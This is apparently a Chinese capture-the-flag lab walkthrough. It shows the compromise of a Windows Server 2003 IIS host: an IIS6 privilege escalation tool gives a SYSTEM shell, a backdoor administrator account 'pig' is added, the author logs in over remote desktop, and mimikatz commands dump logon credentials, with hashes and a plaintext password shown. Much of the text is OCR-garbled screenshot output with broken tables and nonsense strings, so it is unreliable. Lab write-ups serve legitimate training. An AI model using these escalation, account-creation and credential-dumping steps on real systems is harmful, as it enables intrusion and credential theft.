E:\RECYCLER\> iis6. exe "whoami" [IIS6Up]->IIS Token PipeAdmin golds7n Version [IIS6Up]->Set registry OK [process walking]: 320 w3wp. exe [process walking]: 1436 cmd. exe [process walking]: 2756 wmiprvse. exe [IIS6Up]->Got WMUI process Pid: 2756 [Try 1 time] [Try 2 time] [Try 3 time] [Try 4 time]	再次执行,以确定我的身份
E:\RECYCLER\>iis6.exe "whoami" [IIS6Up]->IIS Token FipeAdmin golds7n Version [IIS6Up]->This exploit gives you a Local System shell [IIS6Up]->Set registry OK [process walking]: 2716 iis6.exe [process walking]: 2756 wmiprvse.exe [IIS6Up]->Got WMI process Pid: 2756	可以看到,我已经可以使用最高权限了
[IIS6Up]->Got WMI process Pid: 2756	



于是,我再次尝试通过--iis6.exe "net user pig 123 /add"添加pig用户,此时,这条命令就成功了,如下图。



然后我用net user pig指令查看了pig用户的信息,发现它现在只是普通用户,所以我应该把它变成管理员用户才行,如下图。



于是,我用iis6.exe "net localgroup Administrators pig /add"指令向管理员用户组成功添加了pig用户,如下图。





既然我已经拥有了管理员用户,那么我就需要利用这个用户去搞事情。于是我想到了用远程桌面服务去连接这个网站的服务器, 并用pig用户登陆。于是我打开远程桌面,并输入该网站的ip+port,但是却显示无法连接。远程桌面作为一个程序,那么它一定 占用了一个端口号。而ip+端口号表示的是域名,而这个端口号其实就是服务软件的端口号, ip表示的是这台服务器电脑,因此 如果想和服务器上的远程桌面服务进行对接,那么肯定要把端口号换成它占用的的端口号。因此我们需要去获取端口号,如下 图。



于是我再次来当命令行,用tasklist-svc命令查看了这台服务器开启的服务,发现远程桌面服务termservice的pid是1588,如下图

E:\RECYCLER\> tasklist =svc	←
映像名称	PID 服务
System Idle Process System smss.exe csrss.exe winLogon.exe services.exe lsass.exe svchost.exe svchost.exe	0 皆缺 4 智缺 280 皆缺 328 智缺 352 皆缺 400 Eventlog, PlugPlay 412 HTIPFilter, PolicyAgent, ProtectedStorage, SamSs 600 DicomLaunch 656 RpcSs

		-1 - 1		
svchost. exe	720	Dhcp, Dnscache		
svchost.exe	760	LmHosts, W32Time		
sychost exe	776	AeLookupSyc. Browser, CryptSyc.	dmserver.	
2102032. ene		EventSurten belneve lenmonrer	tox	
		land and the state of the second seco		
		Lanmanworkstation, Metman, MLa,	Schedule,	
		seclogon, SENS, ShellHWDetectio:	n, TrkWks,	
		winngmt, wuauserv, WZCSVC		
spoolsv.exe	972	Spooler		
msdtc. exe	996	MŜDTC	发现远程桌面服务的PID	릩1588
svchost.exe	1108	ERSvc		
inetinfo.exe	1168	IISADMIN		
svchost. exe	1220	RemoteRegistry		
svchost. exe	1472	W3SVC		
svchost. exe	1588	TermService		
wmiprvse.exe	1832			CSDN @ 受睡觉的扬扬
logon. scr	228	暂缺		CODN e 及 座 她 们 奶 奶

然后我又使用netstat -ano查看了端口和连接状态,结果显示pid=1588所对应的端口号是3389,状态是正在监听,也就是说远程 桌面服务的端口号是3389,并且它正处于监听状态,而就是说它是开着的,只要这个端口收到信息,它就能知道。但是下面还 有一个1588,状态是正在通信,且外部地址不是0.0.0.0;,估计是某个正在做这个靶场的同学,如下图。

E:\RECYCLER\> netstat -ano						
Active C	Connections					
Proto TCP TCP TCP TCP TCP	Local Address 0.0.0.0:81 0.0.0.0:135 0.0.0.0:445 0.0.0.0:1025 0.0.0.0:1025	Foreign Address 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0	State LISTENING LISTENING LISTENING LISTENING LISTENING	PID 4 656 4 412 996	发现pid对应的端口号是3389, 并且状态时监听状态	
TCP	0.0.0.0:3389 🦛	0.0.0.0:0	LISTENING 🛩	1588		
TCP	U.U.U.U:8881	U. U. U. U.U. 10, 10, 1, 1, 50092	LISTENING RETABLISHED	4		
TCP	10.10.1.79:139	0. 0. 0. 0:0	LISTENING	4		
TCP	10.10.1.79:3389		ESTABLISHED 🚽	1588	发现下面还有——个1588	
TCP TCP	10.10.1.79:8881 10.10.1.79:8881	10, 10, 1, 1:50096 112, 20, 12, 198:2516	ESTABLISHED TIME_WAIT	4 0	·····································	
TCP	10.10.1.79:8881	124.160.212.8:17832	TIME_WAIT	0	正在做細场的同学	
TCP	10.10.1.79:8881	218, 88, 20, 154 : 49176	TIME WAIT	4		
TCP	10.10.1.79:8881	218.88.20.154:49178	TIME_WAIT	Ō	CSDN @爱睡觉的扬扬	

我回到远程桌面,将端口号改为了3389,如下图



哥们忙着做大事,直接忽略这个警告,如下图。





连接成功! 输入之前创建的用户名--pig, 密码--123, 如下图。

连接成功后。	
pig	登录到 Windows Windows Server 2003 R2 Enterprise Edition
123	Copyright © 2005 Microsoft Corporation Microsoft 用户名 UD: pig 密码 CD: ***
点击确定	□ → 确定 取消 送机 ③… 送项 ④ ≪ ○ SDN @ 翌 睡 觉 挤 扬 扬

此时,终于真正侵入了这台服务器,点开我的电脑,如下图。





🗇 C: \							•	🔁 转到
		名称 🔺	大 大	小	类型	修改日期		属性
任务	*	🛅 Documents and Settings			文件夹	2018-9-7 9:57		
26 - 26 - 1, 26 - 1, 20 - 4 - 4 - 40		🛅 Inetpub			文件夹	2018-4-9 11:07		
急減此態动器的内容		🛅 mimikatz_trunk			文件夹	2018-9-7 10:02		
泰加/删除程序		🛅 Procdump			文件夹	2018-9-7 10:00		
搜索文件或文件夹		🛅 Program Files			文件夹	2018-4-3 18:35		R
		🛅 Python27			文件夹	2018-4-4 1:35		
		🛅 Quarks-PwDump_v0. 2b 目标出	1现! 点击进	У	文件夹	2018-9-7 10:36		
和文件夹任务	*	🛅 web 🦯			文件夹	2018-4-3 18:29		
创建一个新立件本		🛅 WINDOWS			文件夹	2018-4-9 11:08		
		🛅 wmpub			文件夹	2018-4-3 7:02		
时这个文件夹及仰到 Yeb	- F	📷 AMTAG. BIN 🖊	1 1	KΒ	BIN 文件	2018-4-3 17:38		н
共享此文件夹		📃 flag. txt	1 1	Œ	文本文档	2018-4-2 19:25		A
		🖬 lsass. dmp	29, 163 1	KΒ	DMP 文件	2018-9-7 10:00		A
		📔 mimikatz_trunk. zip	826 1	KΒ	压缩(zipped)文件夹	2018-9-7.9:57	566	-+Z.,-+Z.,
位置	*	📔 Procdump. zip	440 1	Œ	压缩(zipped)文件夹	2018-9-79.9 四	7FL/J	2121

Ì	р flag. txt - 记爭本	
	文件 (E) 编辑 (E) 格式 (Q) 查看 (V) 帮助 (H)	
	zkz{F3ck_power_3y3stem}	得到通关keyzkz{F3ck_power_3y3stem}

最后,请必须打开任务管理器,以注销的方式离开,如下图。

Pindows 任务管理器	1	
文件(1) 选项(1) 查看	(1) 帮助的	_
应用程序 进程 性能	と 联网 用户	2
田中		
	<u>0</u> 活动的	
<u>S</u>	2 活动的	
🕵 pig	1 活动的	DESKTOP-OAN
注音。当调	出沅程卓面时	
(二〇) 二〇) 二〇) 二〇) 二〇) 二〇) 二〇) 二〇) 二〇) 二〇)	管理器讲行注销	
否则下—次	周不同用户登录	, 时,
可能会显示	终端服务超过最	大连接值
断开	千①) 注销①	3 发送消息 (S)
进程数: 64 CPV 使)	用: 0% 内存他	吏用: 351M / 3942M

##第六章: GET THE PASS 进程中抓下管理员明文密码 密码获取工具mimikatz, 直接搜索

privilege::debug ----提升权限 sekurlsa::logonPasswords----获取登陆用户密码

在(0) [2] 新生作者		I state to a	- 15 MBI
ang ×	Constant and	2. VOVIBana	112 13 反用程序 2
NY - # G 2 (太永 5 6 4 / d) 2 部 (2 (1 × 1 × 0)) = 部 (2 × 0 × 1 × 0)) = * * * * * * * * * * * * * * * * * * *			



Parallelle 2 2 states	
crefona ;	
uthentication Id : ession : ser Name : umain : 10 :	8 : 807)221 (000000000:007)104()) RenoteInteractive from 3 5/0000019-007206 5-1-5-21-2770063910-2920027979-2173817585-1012
Convisionence 1 Deservationen Deservationen HTLR CRM1 USignet 1 Deservationen Deservationen Pervoare Deservationen Repervoare Deservationen Dese	Per Lawry - concepts 1 - constraint - const
terednan 1 crednan 1 withentication 1d 1 lession liver Name 1	R : 251821 (Beennee:Beald?ad) NetworkClassfect From 0 1010,004000 - 045706
tonain 10 10 Econoceoocci Econoceoocci Econocci Ec	2040/2011 12: 14:0736 14:1-5-21-27278-3738-3738-2928027997-2173817545-1883 Pr Laser 10:060301 F-069786 10:060301 F-069786 10:060201 F-069786 10:060201 F-069786 10:060201 F-069786 10:060201 F-069786 10:060201 F-069786 10:060201 F-069786 10:060201 F-069786
= Passwerd Barberss : = Donain = Password sp i Gredhan : bothestication 14 :	1 (013187/31200) 1 (01318,00000115:045706 1 (0000111:045706 1 (0131187/31200) 8 + 197 (00000001-000001-0.5)
isor Anne Isor Mare Vonala IS IS Novigesti Bersare Passoord Composi (consocos) Composi	Provide from 0 Provide from 0
inchentication Id : icotion : for Mane : ino : i	0 5 4725 (BRADDONE ROOMSA)5) Doublind Adapting From 0 (mull)
Authentication Id : estion for Mane : Notain ID now : University of the second Electronic	<pre># 1 JPP cerebalance improved p?) model incidence by the from B concentration of the second provided and the total of the second provided and the second provided and the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the incidence of the second provided and the second provided and the second provided and the incidence of the second provided and the</pre>
crednan 1	https://blog.csdn.net/yana.re

tion Id :	0 : 3012994 (0000000:002df982)
	RemoteInteractive from 1
-	Administrator
-	GONGKATK-D45FB6
-	S-1-5-21-2775063910-2920827999-2173817585-500
้ดัดดัดดดด2 1	Primary
f lleevname	: Administrator
· Domain	• $CONCVOIV_DAEPDC$
e Domain	
e LM	: 4d582fa9df7504345e8e7baade1462e6
• NTLM	: 43322078afa889e76ead4e24593fe0f6
• SHA1	: Oda6cbfad62801060ae66a9d6c1d75599f354f44
ligest :	
• Üsername	: Administrator
• Domain	: GONGKAIK-D45FB6
• Password	: wow!yougotit!
rberos :	
• Username	: Administrator
• Domain	: GONGKAIK-D45FB6
€ Password	: wow!yougotit!
:p :	一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一

NU IAD MRG Sama II-						
200 - 23erments and Settings Darpol Program Files 2mb	<u>大小【祭製</u> 五中長 五中長 五中長 五中長 五中長	1002.000 104 2007-0-16.2.01 2007-0-16.1.04 2007-0-17.75.44 2007-0-17.75.20	2 mm			
	2004 10 2628	meet is a meet is a				
				2		
	A LA D 400 0 2.788 [D- 2.788 Id- 2.789 Id- 2.799 Id	Ay JAD RAD DATA D- A - A - A - A - A - A - A - A - A - A -	Ay JAD RAD STATUS To The sea bring The sea brin	A JAD RAD DATA D TATA D TAT	A JAD WAY STATU THE ANALYSIS AND	A JAD WAR A DECEMBENT A DECEMBENTA A DECEMBENTA A DECEMBENTA A DECEMBENT A DECEMBENTA A DECEMBE